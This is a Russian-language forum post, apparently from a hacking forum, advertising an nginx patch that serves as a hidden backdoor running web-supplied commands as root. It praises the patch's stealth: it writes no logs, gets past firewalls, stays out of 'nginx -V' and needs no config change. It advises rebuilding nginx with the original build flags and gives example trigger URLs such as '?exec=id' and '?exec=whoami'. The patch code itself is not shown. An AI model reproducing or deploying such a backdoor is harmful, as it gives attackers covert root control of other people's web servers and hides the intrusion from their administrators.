Патч предоставляет возможность выполнять команды с веба от рута
Минусы:
- нгинкс лучше собирать на целевой машине
- не 100% стабильный. Помимо заглушки-ограничителя длинны никаких защит от подвисания worker-процесса
Плюсы:
- доступ по вебу (фаерволы лесом)
- не пишет логи
- палится рутовый процесс только на время выполнения команды
- не нужно трогать конфиг (как делает большенство дополнительных модулей)
- не светится в nginx -V
Кстати о nginx -V, он показывает с каким ключами собран nginx, прямо их и нужно пихать в ./configure
Для леньтяев

:
в этом варианте выполнение работает по маске
Код:
request_method [trash]?exec=[cmd][end]
например (красным то что попадает под выполнение):
Код:
https://web/blabla?exec=id => GET /blabla?exec=id HTTP/1.1......
http://web////oq3i4h/q5?exec=whoami => POST ////oq3i4h/q5?exec=whoami HTTP/1.0....
но не так:
Код:
https://web/?param1=val1&exec=id
https://web/?exec=id¶m2=val2
Данные отдаются как text/plain
Отдельное спасибо
SynQ
p.s. ну и
скрин